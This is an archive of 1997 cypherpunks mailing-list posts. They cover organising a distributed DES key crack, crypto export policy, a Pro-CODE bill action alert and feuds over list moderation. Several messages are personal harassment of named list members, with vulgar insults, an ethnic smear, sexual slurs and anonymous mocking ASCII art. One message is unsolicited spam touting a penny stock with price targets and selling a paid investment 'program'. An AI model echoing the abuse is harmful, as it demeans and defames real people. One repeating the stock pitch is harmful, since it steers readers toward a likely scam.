>Invoving money money seems to be making it harder, not easier, to do
>this.  I thought the reason to crack the key was to demonstrate how
>weak DES is.  If the person who cracks the key collects the reward
>himself, so what?  A good, public nail in the coffin of restrictions
>on crypto is worth the risk that someone steals the $10k, IMHO.

That's a very noble sentiment, but until *you* write some software, the
risk that you're dismissing is *someone else's* risk - so you're balancing
a public good against someone else's loss, and deciding that it works out
nicely for you. Well, sure. You seem to be willing to give up the nominal
value of the prize (somewhere under $1, when discounted against the chance
of hitting the key) but you don't seem to be willing to invest anything
substantial (like many hours of programming time, or serious computing
horsepower) in the bruting effort. 

I'll cheerfully admit that my level of commitment is similar to yours - I
don't mind letting someone else's software eat up my idle cycles. But I'd
have to see some tangible benefit to me before I'd be willing to put any
real time or effort into a crack, and I suspect this is true of many
others, too. The value of the $10K prize alone isn't that attractive,
because with puny hardware it's a very long shot, and with meaningful
hardware, the cost of the hardware dwarfs the value of the prize. 

I don't think it's realistic or useful to pretend to ignore economics. I
believe that you are not ignoring economic considerations when you fail to
invest significantly in the bruting effort, and I don't think there's
anything wrong with that. My point is that if we want to see a brute-force
attack succeed, and we want the threat of other brute-force attacks to be
credible, we should find a way to organize rights & obligations such that
it looks rational to act as the organizer of a brute-force effort. The
current configuration doesn't seem to inspire widespread significant interest.


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Wed, 26 Feb 1997 09:04:49 -0800 (PST)
To: Greg Broiles <marc@cygnus.com>
Subject: Re: Distributed cracks, law, and cryptoanarchy
In-Reply-To: <t53k9nx28nx.fsf@rover.cygnus.com>
Message-ID: <v03007802af3a1dec5f41@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



First, I won't express any more opinions about the DES crack and whether it
"ought" to be coordinated or uncoordinated. Second, Greg's point brings up
something very interesting:

At 7:34 AM -0800 2/26/97, Greg Broiles wrote:

>others, too. The value of the $10K prize alone isn't that attractive,
>because with puny hardware it's a very long shot, and with meaningful
>hardware, the cost of the hardware dwarfs the value of the prize.


Interestingly for the _contract_ discussion, it is likely that many of
those participating are not the _owners_ of the hardware on which the crack
software is being run. For example, the hardware is owned by universities
(and hence maybe taxpayers), corporations, government labs, etc.

The whole notion of "stealing cycles" is the key to the crack. as it were.

(Sure, in some cases the owners sort of know that spare cycles are being
used, or that "something" is going on. And the cycles may indeed be
spare...but in some cases the DES crack may materially slow down other
users...not my main point, though.)

So, do those making a "contract" with the crack challenge organizers have
the legal power to do so? Did the University of California waive its share
of the prize if the Network of Workstations, for example, finds the key?

Will we see "stego cracking," where people hide their intentions so that if
the cycles they steal win a prize, they won't have to answer to their
employers? Or, worse, share the prize? (Or give up the prize completely, as
seems likely under existing case law.)

--Tim May


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 26 Feb 1997 09:21:13 -0800 (PST)
To: cypherpunks@algebra.com
Subject: Re: Sampler: February 26
In-Reply-To: <9702260830.AA29225@jimmy.djc.com>
Message-ID: <331482F2.7DFB@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


sampler-request@lmboyd.com wrote:
 
 ======================================================
 
  Wrote Peter Chippindale in the United Kingdom's New
 Statesman: "A good police force is one which catches more
 criminals than it employs."

-- 
Toto
-----------------------------
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 26 Feb 1997 11:58:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: GCHQ On Escrow Sham
Message-ID: <1.5.4.32.19970226195118.006ba3bc@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


The GCHQ spook heading the EU's group on crypto policy 
admits that  law enforcement demand for key escrow is just 
a cover for foreign intelligence:

  http://www.cs.berkeley.edu/~daw/GCHQ/

There's also a lengthy description of E-mail security for
Her Majesty's Government.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 26 Feb 1997 15:22:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Suspected of purchasing diesel fuel"
In-Reply-To: <9702252315.ZM29647@razor.engr.sgi.com>
Message-ID: <gB2q3D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


das@razor.engr.sgi.com (Anil Das) writes:

> On Feb 25, 10:47pm, Alan Olsen wrote:
> >
> > "We have met the Enemy and they is us."
> >
> 
> Er.. I thought the discussion of cypherpunks list moderation is over.
> 
> --
> Anil Das
> 

I think not.  I think a weekly FAQ regarding the reputation of
John Gilmore (spit), Sameer Pareekh (spit), Sandy Sandfort (spit),
Greg Broils (spit) and C2Net (spit) is in order.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Horowitz <marc@cygnus.com>
Date: Wed, 26 Feb 1997 13:23:02 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Distributed cracks, law, and cryptoanarchy
In-Reply-To: <3310e0fa.5573759@library.airnews.net>
Message-ID: <t53bu97s1q2.fsf@rover.cygnus.com>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles <gbroiles@netbox.com> writes:

>> That's a very noble sentiment, but until *you* write some software, the
>> risk that you're dismissing is *someone else's* risk - so you're balancing
>> a public good against someone else's loss, and deciding that it works out
>> nicely for you. Well, sure. You seem to be willing to give up the nominal
>> value of the prize (somewhere under $1, when discounted against the chance
>> of hitting the key) but you don't seem to be willing to invest anything
>> substantial (like many hours of programming time, or serious computing
>> horsepower) in the bruting effort. 

When I wrote my message, this thought occurred to me.  I should have
assumed someone would call me on it :-)

My perception of the situation (which may or may not be accurate) is
that the technology, while perhaps not the best possible, exists.
What seems to be preventing coordination is bickering about what to do
with the money, including the fear that someone else will claim the
money.  As you have pointed out, the value of a $10K prize is not that
attractive.  If people are doing anything at all, it is not for the
prospect of economic gain.  I'm hoping that someone who has other
incentives besides the money will agree with my evaluation (and yours,
I think) of the risks, and move forward with the project.

>> My point is that if we want to see a brute-force attack succeed,
>> and we want the threat of other brute-force attacks to be credible,
>> we should find a way to organize rights & obligations such that it
>> looks rational to act as the organizer of a brute-force effort. The
>> current configuration doesn't seem to inspire widespread
>> significant interest.

By these arguments, the rc5-48 attack would have never happened.  I'm
not sure what the incentives were for that, but I think the same
incentives apply to a DES attack.  I don't think the money figured
prominently into the first attack.  My message was intended to cause
those who might work on the second attack to look past the money, and
at whatever other incentives they might have.  

>> I don't think it's realistic or useful to pretend to ignore economics.

I'm not trying to ignore economics.  I'm trying to show that, for some
of us, there are other incentives than money.  For me and you, these
incentives aren't strong enough.  For someone else, they might be.  I
can't make them do anything, but I can certainly try to encourage
them.

		Marc




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 26 Feb 1997 17:42:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: 43 Public Comments
Message-ID: <1.5.4.32.19970227013551.006cc844@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


We've completed conversion of the 43 public comments
on encryption tranfers at BXA from PDF to HTML:

   http://jya.com/bxapctoc.htm

The TOC links to each in a separate file.

Instructive reading. Microsoft and a few others punch hard,
claiming betrayal by the Admin for not consulting industry
as promised and rushing out the Interim Rule. Nearly all say 
stronger crypto is a must to compete globally.

Yep, a few brown-nose the bosses; guess who.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 26 Feb 1997 21:45:46 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: "Suspected of purchasing diesel fuel"
In-Reply-To: <gB2q3D1w165w@bwalk.dm.com>
Message-ID: <33151F6A.22BF@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> das@razor.engr.sgi.com (Anil Das) writes:
> > On Feb 25, 10:47pm, Alan Olsen wrote:
> > > "We have met the Enemy and they is us."
> > Er.. I thought the discussion of cypherpunks list moderation is over.

> I think not.  I think a weekly FAQ regarding the reputation of
> John Gilmore (spit), Sameer Pareekh (spit), Sandy Sandfort (spit),
> Greg Broils (spit) and C2Net (spit) is in order.

Did you see where Greg (apparently one of the C2 employees) said that
moderation actually *won*, and that's apparently what you, I, and all
the rest of the folks *really* wanted?  History is not boring, since
it's constantly being (re)written!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 26 Feb 1997 22:10:58 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: Moderation/censorship
In-Reply-To: <01IFVIOKOQM88Y57CZ@mbcl.rutgers.edu>
Message-ID: <33152498.6A19@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


E. Allen Smith wrote:
> There was some discussion from Toto et al (whom I'd guess you'd (sensibly)
> filtered out) of blocking postings from Senate and House addresses,
[snip]
> (If DLVulis was a participant in the discussion (I wouldn't notice,
> given that I generally delete his messages before reading), he
> would be a probable exception to the latter part of the last sentence.)
[snip]

So here's this Eastern-establishment George Bush wanna-be piece-of-shit
whiny asshole Smith beating up on Toto and Vulis for the nth time.

Just can't give it up, can you, bozo?  Why don't you dig a hole,
crawl in, and pull the dirt in over you.  Then not only would you
not be unhappy any more, every one else would be happy too.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 26 Feb 1997 23:02:46 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Moderation/censorship
In-Reply-To: <199702270609.AAA08864@manifold.algebra.com>
Message-ID: <33153141.1762@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Dale Thorn wrote:
> > E. Allen Smith wrote:
> > > There was some discussion from Toto et al (whom I'd guess you'd (sensibly)
> > > filtered out) of blocking postings from Senate and House addresses,
> > [snip]
> > > (If DLVulis was a participant in the discussion (I wouldn't notice,
> > > given that I generally delete his messages before reading), he
> > > would be a probable exception to the latter part of the last sentence.)
> > [snip]
> > So here's this Eastern-establishment George Bush wanna-be piece-of-shit
> > whiny asshole Smith beating up on Toto and Vulis for the nth time.
> remember dale, you and dr. vulis are also beating on john gilmore & co.

True, but, Smith viciously attacked me before I said anything about
him, and he did so not because I was some kind of authority inter-
fering with his life (like a lying, cheating, censoring list mgr.),
but simply because he didn't like my posts.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 27 Feb 1997 00:02:16 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Moderation/censorship
In-Reply-To: <199702270706.BAA09372@manifold.algebra.com>
Message-ID: <33153E98.3DCD@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


> > Igor Chudov @ home wrote:
> > > Dale Thorn wrote:
> > > > E. Allen Smith wrote:
> > > > > There was some discussion from Toto et al (whom I'd guess you'd (sensibly)
> > > > > filtered out) of blocking postings from Senate and House addresses,
> > > > > (If DLVulis was a participant in the discussion (I wouldn't notice,
> > > > > given that I generally delete his messages before reading), he
> > > > > would be a probable exception to the latter part of the last sentence.)
> > > > So here's this Eastern-establishment George Bush wanna-be piece-of-shit
> > > > whiny asshole Smith beating up on Toto and Vulis for the nth time.
> > > remember dale, you and dr. vulis are also beating on john gilmore & co.

> > True, but, Smith viciously attacked me before I said anything about
> > him, and he did so not because I was some kind of authority inter-
> > fering with his life (like a lying, cheating, censoring list mgr.),
> > but simply because he didn't like my posts.

> :) and you are attacking him because you did not like his posts.

Not the same thing at all.  Any posts he may have made about any
list topic (whether "on-topic" or not) I did not jump on him for.
I have made specific comments disagreeing with people about factual
or theoretical particulars, or I've made disparaging comments about
list "leaders" using their "reputation capital" to shove other people
out of their way like bullies, but I haven't taken to calling
ordinary list subscribers names because I think they're paranoid
(which I'm really not, though I'm a "professional" conspiratologist),
or because I otherwise disagree with them.

I looked at one archive the other day, and it contained 850+ messages
by me posted to cypherpunks between approximately 1 Sep 96 and late
Jan 97.  I think you'll find them very consistent, and although I
could be accused of harboring my own arrogance in some areas, I can
handle any criticism you put forth, since you (for example) don't
slander me gratuitously or viciously.

Several months ago, I made a post where I said that approx. 95% of
people stay within the confines of their parents' religion for life,
meaning that while they may change denominations, or split different
hairs on various dogmas, they still remain Catholic if their parents
were Catholic, etc.  One of the list "leaders" chose to say I didn't
know what I was talking about, even though I very well did know what
I was talking about (and I told him so), so he replied that he didn't
want me putting his email address in any of my posts (i.e., don't
hit the reply-to-all button unless I manually delete his name), and
has steadfastly ignored me ever since.  I don't mind being ignored,
in fact, it gives me time to do better things than argue with persons
who don't really listen, but what pisses me off is this bully-like
arrogance on the part of some of the clique who would really like to
get rid of people like me, but can't recommend it since it would
damage their already fragile reputation.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 26 Feb 1997 22:21:25 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Moderation/censorship
In-Reply-To: <33152498.6A19@gte.net>
Message-ID: <199702270609.AAA08864@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> 
> E. Allen Smith wrote:
> > There was some discussion from Toto et al (whom I'd guess you'd (sensibly)
> > filtered out) of blocking postings from Senate and House addresses,
> [snip]
> > (If DLVulis was a participant in the discussion (I wouldn't notice,
> > given that I generally delete his messages before reading), he
> > would be a probable exception to the latter part of the last sentence.)
> [snip]
> 
> So here's this Eastern-establishment George Bush wanna-be piece-of-shit
> whiny asshole Smith beating up on Toto and Vulis for the nth time.

remember dale, you and dr. vulis are also beating on john gilmore & co.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 26 Feb 1997 23:27:44 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Moderation/censorship
In-Reply-To: <33153141.1762@gte.net>
Message-ID: <199702270706.BAA09372@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> Igor Chudov @ home wrote:
> > Dale Thorn wrote:
> > > E. Allen Smith wrote:
> > > > There was some discussion from Toto et al (whom I'd guess you'd (sensibly)
> > > > filtered out) of blocking postings from Senate and House addresses,
> > > [snip]
> > > > (If DLVulis was a participant in the discussion (I wouldn't notice,
> > > > given that I generally delete his messages before reading), he
> > > > would be a probable exception to the latter part of the last sentence.)
> > > [snip]
> > > So here's this Eastern-establishment George Bush wanna-be piece-of-shit
                                                    ^^^^^^^^^^^^^^^^^^^^^^^^^
> > > whiny asshole Smith beating up on Toto and Vulis for the nth time.
     ^^^^^^^^^^^^^^^^^^^^^^
> > remember dale, you and dr. vulis are also beating on john gilmore & co.
> 
> True, but, Smith viciously attacked me before I said anything about
> him, and he did so not because I was some kind of authority inter-
> fering with his life (like a lying, cheating, censoring list mgr.),
> but simply because he didn't like my posts.

:) and you are attacking him because you did not like his posts. 

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 26 Feb 1997 18:47:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [CRYPTO] One-time pads
Message-ID: <199702270247.DAA13171@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Here, Timmy C[unt] May descends into 
total inanity. He should have a cold 
shower and/or a Turkish coffee.

   /_/\/\
   \_\  / Timmy C[unt] May
   /_/  \
   \_\/\ \
      \_\/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Thu, 27 Feb 1997 03:38:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Meet-in-the-middle attack
Message-ID: <199702271138.GAA03792@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy Mayflower's wee-wee is so tiny that only his mommy 
is allowed to touch it.

. o       c ,
`'#v-- --v#`' Timothy Mayflower
 /'>     <`\





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 27 Feb 1997 06:23:58 -0800 (PST)
To: pgut001@cs.auckland.ac.nz
Subject: Re: Presidential decrees and emergency powers
Message-ID: <1.5.4.32.19970227141703.006ddeb8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


There's a list of Executive Orders from 1970-96 on emergency powers
at:

   http://jya.com/eo-export.txt

A related Presidential Notice is at:

   http://jya.com/no081496.htm

Some of the latest Executive Orders related to export administration
are listed under "background" at:

   http://jyacom/eartoc.htm

The range of consequences of "emergency power" is vast, and 
traces of its affect is found in many governmental regulations and
legislation. We're adding documents to our site as we find them,
from the Departments of State, Defense and Commerce:

   http://jya.com/crypto.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 27 Feb 1997 06:34:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: 128_bit
Message-ID: <1.5.4.32.19970227142755.006eff20@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


2-26-97.

"Security Dynamics Unveils RSA SecurPC 2.0"

 The package is claimed to the first 128-bit encryption software to 
 be exported from the US and its territories, and allows companies 
 to implement "seamless, full-strength encryption" worldwide.

-----

128_bit





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 27 Feb 1997 10:08:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Counterintel Center
Message-ID: <1.5.4.32.19970227180151.006f51fc@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


The National Counterintelligence Center (NACIC) 
announced today in the Federal Register a new system of 
records. There's an explanation of the NACIC and what 
it tries to do, reciting the James Angleton/Aldrich Ames 
myrrh mantra.

   http://jya.com/ncc022797.txt

The new records system includes:

   "6. Compromised Names Database. The purpose of the 
   database is to notify US intelligence community personnel 
   whose names were potentially compromised as a result of 
   espionage or other foreign intelligence collection activity. 
   NACIC reviews pertinent reports to determine documents 
   that were possibly passed in a particular case and then 
   reviews those documents for names. The database contains 
   the names of persons potentially compromised, date of the 
   memo sent to the person or their employer informing them, 
   the document number of where the person's name came 
   from, document title, and document date."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 27 Feb 1997 11:00:25 -0800 (PST)
To: pgut001@cs.auckland.ac.nz
Subject: Re: Presidential decrees and emergency powers
Message-ID: <1.5.4.32.19970227185336.00703a38@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


We've put the full 50USC Chapter 35 -- International
Emergency Economic Powers at:

   http://jya.com/50usc35.txt  (284K)

Section 1701 is the great bulk of it, and describes
the purpose of emergency economic power. And
lists the current enemies -- rogue nations and 
terrorists -- used, as were predecessors, to justify 
its never-ending renewal.










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 27 Feb 1997 14:35:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Senate spams
In-Reply-To: <199702270603.AAA08703@manifold.algebra.com>
Message-ID: <H4Ts3D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> adam and others,
> 
> sorry i was not able to read the list before and did not know
> about the senate spam.
> 
> i vaguely recall the us senate voting in droves to elect david c
> lawrence <tale@uunet.uu.net> kook of the month june 1996... but the
> truth prevailed.

They voted from their accounts on algebra.com, didn't they?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 27 Feb 1997 14:39:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Suspected of purchasing diesel fuel"
In-Reply-To: <33151F6A.22BF@gte.net>
Message-ID: <uDus3D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:

> Dr.Dimitri Vulis KOTM wrote:
> > das@razor.engr.sgi.com (Anil Das) writes:
> > > On Feb 25, 10:47pm, Alan Olsen wrote:
> > > > "We have met the Enemy and they is us."
> > > Er.. I thought the discussion of cypherpunks list moderation is over.
> 
> > I think not.  I think a weekly FAQ regarding the reputation of
> > John Gilmore (spit), Sameer Pareekh (spit), Sandy Sandfort (spit),
> > Greg Broils (spit) and C2Net (spit) is in order.
> 
> Did you see where Greg (apparently one of the C2 employees) said that
> moderation actually *won*, and that's apparently what you, I, and all
> the rest of the folks *really* wanted?  History is not boring, since
> it's constantly being (re)written!

Greb Broils lies, of course, but he's just an entry-level lackey at C2Net.
Greg will post whatever lies his boss Sameer "Arab terrorist from Connecticut"
Parekh pays him to post. Greg will suck whichever cock Sameer Parekh pays
him to suck. Greg Broils is a whore. Sameer Parekh is his pimp.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dcgroup@erols.com
Date: Fri, 28 Feb 1997 00:42:46 -0800 (PST)
To: dcgroup@erols.com
Subject: WELL WORTH READING
Message-ID: <199702280834.DAA15402@Ocean.CAM.ORG>
MIME-Version: 1.0
Content-Type: text/plain


I hope this e-mail finds you well. No need to hit the reply buttom if you want to be 
deleted  from my mailing list as this program you are about to review is one you will
only receive once and need to reply to stay on it. Needless to say we have a lot of
confidence in this program. Good luck if you decide not to order this program. Pre-
paration will meet opportunity (which will equal success) if you make the right choice. If
you still feel the need to ask to be removed go ahead. I will oblige your request.

         *****    THE PROGRAM           FEBRUARY 27, 1997    *****

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the investors. $1,000 can be turned into $1,000,000 in 5 years. if you have 5 years
but not the $1,000 see the second part of this e-mail.
    2) 4 stocks that will double this year. Actually three, the best one is featured in part 
two of this e-mail. 
    3) 4 "events" which could cause the market to crash in 1997.

                        *****          PART TWO       *****

So you have five years but not $1,000. To show you we know how to make money 
we will "give" you a stock that we feel is ready to "pop". The company does not
know we are doing this. This is a freebie so don't forget to send us a thank you note.

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KRT     on the vancouver exchange - current price, $1.30 a share
Kensington Resources' homepage -
                          http://www.kensington-resources.com/
Kensington's Silicon Investor site  (a "chat room" about kensington)-
                          http://www3.techstocks.com/investor/subject-3653
Kensington target prices:    $3.50 U.S. by 4/15, $7 by 12/31

KNSRF is part of a four company joint venture (a debeers subsidiary is one of the
other companies) that has 71 kimberlite (the host material for diamonds) pipes. 57
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A SOLICITATION NOR A RECOMMENDATION TO BUY ANY STOCKS. DO YOUR
OWN DUE DILIGENCE. THE ONLY RECOMMENDATION WE MAKE IS THE
PURCHASE OF OUR PROGRAM. BELOW IS THE INFORMATION YOU NEED TO
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PLEASE INCLUDE YOUR E-MAIL ADDRESS AND YOUR MAILING ADDRESS
WITH YOUR PAYMENT.                     






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 27 Feb 1997 16:35:31 -0800 (PST)
To: cypherpunks@algebra.com
Subject: Re: SigFile
In-Reply-To: <9702271819.AA15267@banshee.BASISinc.com>
Message-ID: <33162191.65A8@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


And this precious gem came from mark green.
 
                 |
            ,@ __|-.
       ,_~o/   \/  |    Through the router, off the switch,
         |/        |    down the cable, nothing but net.
        / >        |
       '  `        |                   The @Home slam dunk
                   |
 __________________|
-- 
Toto
-----------------------------
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Voters Telecommunications Watch <shabbir@vtw.org>
Date: Thu, 27 Feb 1997 13:23:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702272123.QAA28997@panix3.panix.com>
MIME-Version: 1.0
Content-Type: text/plain


========================================================================

                     PRO-CODE BILL ANNOUNCED TODAY
    BILL WOULD LIBERATE ENCRYPTION FROM ANTIQUATED COLD-WAR REGULATIONS

                          February 27, 1997

      Please widely redistribute this document with this banner
                    intact until March 15, 1997
		
            From the Center for Democracy and Technology (CDT),
              the Electronic Frontier Foundation (EFF), and
                 the Voters Telecommunication Watch (VTW)

________________________________________________________________________
CONTENTS
        The Latest News
        What You Can Do Now
        Background On Pro-CODE
        What's At Stake
        For More Information / Supporting Organizations

________________________________________________________________________
THE LATEST NEWS

Today, a bi-partisan group of seventeen United States Senators, led by
Conrad Burns (R-MT) and Patrick Leahy (D-VT), introduced the "Promotion
of Commerce Online in the Digital Era (Pro-CODE) Act", a bill designed
to promote privacy and security on the Internet by relaxing government
controls on encryption technologies.

Encryption technologies are the locks and keys of the Information age
-- enabling individuals and businesses to protect sensitive information
as it is transmitted over the Internet. Pro-CODE aims to enable this by
removing some of the regulations that currently prevent Americans from
using this technology.

A short summary of the bill and background on the encryption policy
debate are attached below, along with information on what you can do to
help ensure that Congress takes action on this important issue.

________________________________________________________________________
WHAT YOU CAN DO NOW

1. CALL THE Pro-CODE SPONSORS AND THANK THEM FOR THEIR EFFORTS

   Members of Congress tend to hear from their constituents only when
   they do something constituents don't like.  Today however, several
   Senators have taken a stand on an issue of critical importance to
   Internet users.  It's crucial that we encourage them with phone
   calls of support.

   If you live in any of the states listed below, please take a moment
   to give these Senators a call.

   Allard (R-CO)     Ashcroft (R-MO)     Boxer (D-CA)     Brownback (R-KS)
   Burns (R-MT)      Craig (R-ID)        Dominici (R-NM)  Dorgan (D-ND)
   Faircloth (R-NC)  Grahms (R-MN)       Hutchison (R-TX) Inhoffe (R-OK)
   Kempthorne (R-ID) Leahy (D-VT)        Lott (R-MS)      Murray (D-WA)
   Nickles (R-OK)    Thomas (R-WY)       Wyden (D-OR)

   Please take a moment to give these Senators a call.

	<Dial 1-202-224-3121>
	<ring ring!>
        You:Senator Mojo's office please!
        Sen:Hello, Senator Mojo's office!

        You:

SAY     I heard that the Senator introduced Pro-CODE to add more privacy on
THIS->  the Internet.  Please thank the Senator for me and I support efforts
        to fix antiquated encryption export laws.  I live in <your state>.
	
        Sen:Ok, thanks!<click>

2. ADOPT YOUR LEGISLATOR

   If you were one of the thousands of people that have adopted their
   legislator at http://www.crypto.com/, you would have received a
   personalized letter telling you that your legislator announced his
   or her sponsorship of Pro-CODE today.

   These personalized letters contain all the phone numbers you need,
   and we'll send them to you any time your legislator takes any action
   that would have a significant impact on the net.

   The Adopt Your Legislator campaign is the most effective method of
   mobilizing grass-roots support available today.  Since late last
   year, VTW and CDT have been building a network of thousands of
   Internet users who are active and engaged in the fight for privacy
   and security on the Internet.

   By focusing our efforts on the constituents of specific legislators
   as well as on the net as a whole, we can ensure that members of
   Congress know that they have support within their district as well
   as throughout the Internet community.

   You can adopt your legislator at http://www.crypto.com/adopt/

________________________________________________________________________
BACKGROUND ON THE PRO-CODE BILL

The Promotion of Commerce Online in the Digital Era (Pro-CODE) Act is
similar to a bill introduced by Senators Burns (R-MT) and Leahy (D-VT)
last year (then S.1726).  Pro-CODE enjoyed broad bi-partisan support in
the Senate and was the subject of 3 hearings, including 2 which were
cybercast live on the Internet.

This year's Pro-CODE bill (no bill number yet available) is designed to
encourage the widespread availability of strong, easy-to-use encryption
technologies to protect privacy and security on the Internet.
Specifically, Pro-CODE would:

1. Encourage the widespread availability of strong privacy and security
   products by relaxing export controls on encryption technologies that
   are already available on the mass market or in the public domain.
   This would include popular programs like Pretty Good Privacy (PGP)
   and World Wide Web browsers like those made by Netscape and Microsoft.

   Current US encryption policy restricts export of encryption products
   with key-lengths of more than 40 bits.  A recent study by renowned
   cryptographers including Whit Diffie (one of the fathers of modern
   cryptography), Matt Blaze, and others concluded that 40 bits is
   "woefully inadequate" to protect personal and business communications.
   Over the last eighteen months, several examples of the weakness of
   40-bit encryption have been demonstrated by college students with
   spare personal computers.

2. Prohibit the federal government from imposing mandatory key-escrow or
   key-recovery encryption policies on the domestic market and limit the
   authority of the Secretary of Commerce to set standards for
   encryption products.

3. Require the Secretary of Commerce to allow the unrestricted export of
   other encryption technologies if products of similar strength are
   generally available outside the United States.

For more information on the Pro-CODE bill, background information on
efforts to pass encryption policy reform legislation last year, and
other materials please visit:

For more information, see the Encryption Policy Resource Page at
http://www.crypto.com/

________________________________________________________________________
WHAT'S AT STAKE

Encryption technologies are the locks and keys of the Information age
-- enabling individuals and businesses to protect sensitive information
as it is transmitted over the Internet. As more and more individuals
and businesses come online, the need for strong, reliable, easy-to-use
